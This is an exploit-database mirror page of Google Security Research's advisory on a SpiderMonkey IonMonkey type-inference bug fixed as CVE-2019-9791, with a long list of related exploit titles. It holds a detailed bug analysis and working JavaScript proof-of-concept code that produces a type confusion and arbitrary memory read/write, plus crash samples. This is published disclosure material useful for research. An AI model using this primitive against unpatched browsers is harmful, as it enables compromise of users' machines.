Menu

Improved exploit search engine. Try it out

"Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR"

Author

"Google Security Research"

Platform

multiple

Release date

2019-03-26

Release Date Title Type Platform Author
2019-06-18 "Sahi pro 8.x - Cross-Site Scripting" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 8.x - SQL Injection" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 7.x/8.x - Directory Traversal" webapps multiple "Goutham Madhwaraj"
2019-06-17 "RedwoodHQ 2.5.5 - Authentication Bypass" webapps multiple EthicalHCOP
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-05-10 "CyberArk Enterprise Password Vault 10.7 - XML External Entity Injection" webapps multiple "Marcelo Toran"
2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
Release Date Title Type Platform Author
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-24 "VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation" local windows "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46613/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46613/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46613/41053/spidermonkey-ionmonkey-type-inference-is-incorrect-for-constructors-entered-via-osr/download/", "exploit_id": "46613", "exploit_description": "\"Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR\"", "exploit_date": "2019-03-26", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
/*
A bug in IonMonkeys type inference system when JIT compiling and entering a constructor function via on-stack replacement (OSR) allows the compilation of JITed functions that cause type confusions between arbitrary objects.

# Prerequisites:

1. Spidermonkey can represent "plain" objects either as NativeObject (https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/NativeObject.h#L431) or as UnboxedObjects (https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/UnboxedObject.h#L168). NativeObjects are basically two pointers to type information objects (the "Group" and "Shape") as well as inline and out-of-line properties (both stored in NaN-boxed form) and elements. UnboxedObject, on the other hand, can store their properties in unboxed form, e.g. as native 32-bit integer or even 8-bit booleans. An UnboxedObject can always be converted to a NativeObject (by boxing the properties and potentially allocating out-of-line storage). This e.g. happens if, during a property assignment, the type of the new value mismatches the current type of the property. The function implementing the conversion can be found here: https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/NativeObject.h#L431

2. Spidermonkey can track the possible types of object properties for the purpose of type inference: https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/ObjectGroup.h#L111. For example, after executing the following code (and assuming no other code ran that assigned a different value to a property .x), Spidermonkey will know that the property .x will always be a Uint8Array and uses that information to omit type checks in JIT compiled code.

    var o = {};
    o.x = new Uint8Array(0x1000);

Assigning a value of a different type to such a property will invalidate (or widen) the inferred type and potentially invalidate any JITed code that relies on that.

3. A constructor in Spidermonkey can have a "template" type (Group and potentially Shape) associated with it which represents the type of the constructed objects *after* initialization has finished. The caller of such a constructor is responsible for allocating the newly constructed object of the final type (via js::CreateThisForFunction) and passing it as argument to the constructor. As such, JITed code for a constructor can rely on receiving an object of the template type and can use that to emit code for property stores to existing properties instead of code for property definitions (which in addition to writing the property value also have to update the Shape of the object).
As an example, consider the following constructor function:

    function Ctor() {
        this.a = 42;
        this.b = 43;
    }

After several invocations, the type inference system will compute the final type of the constructed objects. In that case it could be UnboxedObject with two integer properties, .a and .b. At a later point IonMonkey would start JIT compiling the constructor. By relying on the fact that the caller will always pass in an object with the template type, IonMonkey can now emit code that simply stores the two values into the existing property slots. This optimization is only possible if Spidermonkey can prove that the constructed object doesn't escape the local scope before the final property definition (and so the existence of the properties before they are actually defined in the code isn't visible to the running script). The result type for constructors is computed here: https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/TypeInference-inl.h#L241

# Bug Description

The following program, when run in Spidermonkey built from current release, results in observable misbehaviour: it doesn't show the property .x even though it should exist. Slight mutations of it can also result in nullderef crashes when assigning the property .x, which is how the original sample was found during fuzzing.

    function Hax(val, l) {
        this.a = val;

        for (let i = 0; i < l; i++) {}

        this.x = 42;
    }

    for (let i = 0; i < 1000; i++) {
        new Hax(1337, 1);
    }
    let obj = new Hax("asdf", 100000);
    console.log(Object.getOwnPropertyNames(obj));
    // prints only "a"

It appears that the following is happening here:

1. During repeated invocations in the outer loop, Spidermonkey's type inference system computes the resulting type for the constructed objects: an UnboxedObject with properties .a and .x of type integer. The constructor is then JIT compiled by IonMonkey, which makes use of the type inference to emit code for property stores to existing properties instead of property definitions.

2. During the final invocation, the JIT code attempts to set the property .a. However, the value now has the wrong type (string instead of integer) for the object. This triggers the following:
    - The current |this| object is converted to a NativeObject, which has the properties .a and .x
    - The result type for Hax is updated to now be a NativeObject with the two properties .a and .x (as the type inference for the constructor can still prove that both .a and .x will always be installed)
    - The |this| object is then "rolled back" to the type it should currently have at this position in the bytecode: https://github.com/mozilla/gecko-dev/blob/dbddac86aadf1d4871fb350bbe66db43728a9f81/js/src/vm/TypeInference.cpp#L4234. Afterwards, the Shape of |this| only indicates the existence of property .a (which is correct at the current position in the code). Presumably, this is done to avoid a situation in which script code can suddenly observe that the constructed object already has the final set of properties before they are defined in the code, which could e.g. happen if the initial analysis relied on the assumption that some function or method called in the constructor was always a specific, known function and inlined it.
    - Due to the type inference change, the JIT code is deoptimized and execution continues in the baseline JIT.

3. In the following loop, IonMonkey again starts compiling Hax, and enters into the JITed code via on-stack replacement (OSR) in the middle of the function at the head of the loop. During compilation, IonMonkey again relies on the "template" type for Hax and concludes that |this| must be a NativeObject with properties .a and .x. This is incorrect in this situation, as the rollback has removed the property .x.

4. After the loop finishes, the JITed code only performs the property stores as it believes that the object already has the final Shape. As such, the property store to .x is "forgotten" and Object.getOwnPropertyNames only shows the existence of property .a

# Exploitation

The JITed code after OSR expects |this| to already have the final type and thus only stores the property without updating the Shape. As a result, .x will not be visible and the next property defined on the constructed object afterwards will be assigned the same slot that .x was written into in the JITed code. With that, the following exploit becomes possible, which abuses the type inference mechanism for properties:

In the JITed code, after the loop:
1. Define a property .x on |this| as above. The compiler will infer the type of .x to be type X. This property will then be "forgotten" in the final call due to the bug.
2. Define a new property (of type Y) on the object. It will be stored into the same slot as .x (because that slot is free according the the object's Shape). This has to be a "slow path" property definition that doesn't rely on type inference and instead inspects the Shape of the object and determines the next free slot based on that.
3. Load property .x again. The compiler will infer the type of the loaded value to be X. However, it will actually load an object of type Y

As a result, it is now possible to compile JIT code that confuses an object of type X with an object of type Y where both X and Y can be arbitrarily chosen.

The following JavaScript program (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this idea. It first triggers the type confusion between a Float64Array and a custom UnboxedObject, then gains arbitrary read/write from that, and finally crashes when writing to 0x414141414141:

    let ab = new ArrayBuffer(0x1000);
    let victim = new Uint8Array(0x1000);

    function Hax(val, l, trigger) {
        // In the final invocation:

        // Ultimately confuse these two objects which each other.
        // x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
        let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
        // y is a real ArrayBufferView object.
        let y = new Float64Array(0x1000);

        // * Trigger a conversion of |this| to a NativeObject.
        // * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
        // * Trigger the "roll back" of |this| to a NativeObject with only property .a
        // * Bailout of the JITed code due to type inference changes
        this.a = val;

        // Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
        // incorrectly assume that |this| already has the final type (so already has property .x)
        for (let i = 0; i < l; i++) {}

        // The JITed code will now only have a property store here and won't update the Shape.
        this.x = x;

        if (trigger) {
            // This property definition is conditional (and rarely used) so that an inline cache
            // will be emitted for it, which will inspect the Shape of |this|. As such, .y will
            // be put into the same slot as .x, as the Shape of |this| only shows property .a.
            this.y = y;

            // At this point, .x and .y overlap, and the JITed code below believes that the slot
            // for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
        }

        // This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
        this.x.data = victim;
    }

    for (let i = 0; i < 1000; i++) {
        new Hax(1337, 1, false);
    }
    let obj = new Hax("asdf", 10000000, true);

    // Driver is now a Float64Array whose data pointer points to a Uint8Array.
    let driver = obj.y;

    // Write to address 0x414141414141 as PoC
    driver[7] = 3.54484805889626e-310;
    victim[0] = 42;


 For completeness, here is a minimal crashing sample: 
*/

    function Hax(val, l) {
        this.a = val;

        for (let i = 0; i < l; i++) {}

        this.x = 42;
        this.y = 42;
        // After conversion to a NativeObject, this property
        // won't fit into inline storage, but out-of-line storage
        // has not been allocated, resulting in a crash @ 0x0.
        this.z = 42;
    }

    for (let i = 0; i < 10000; i++) {
        new Hax(13.37, 1);
    }
    let obj = new Hax("asdf", 1000000);

/*
As well as the original sample that the fuzzer triggered:

    // Run with --no-threads --ion-warmup-threshold=100

    function v5(v6, v8) {
        if (v8) {
            // Triggers the rollback etc. in a recursive call.
            const v11 = new v5(v6);
            const v13 = new Float32Array(40183);
            for (const v14 of v13) {
            }
        }
        // This property assignment crashes as out-of-line 
        // property storage has not been allocated yet.
        this[-3083318214] = v6;
    }
    for (let v19 = 0; v19 < 1337; v19++) {
        const v21 = new v5(32768, false);
    }
    const v22 = new v5(v5, true);


 Fixed in https://www.mozilla.org/en-US/security/advisories/mfsa2019-08/#CVE-2019-9791

The issue was fixed in two ways:

1. In https://github.com/mozilla/gecko-dev/commit/67fc2c30797036217de91cdb4b6d77a876bed7db the conversion from UnboxedObjects to NativeObjects was changed to no longer copy the definite properties of the ObjectGroup. As a result, in step 2 above, the new NativeGroup now wouldn't have the definite properties .a and .x anymore, preventing the recompiled JIT code from relying on them.

2. UnboxedObjects were disabled by default in https://github.com/mozilla/gecko-dev/commit/a4d10aaa50842ef6b15ef8982ab0c4b478ef9109 and are now (apparently) being completely removed from the engine: https://bugzilla.mozilla.org/show_bug.cgi?id=1505574
*/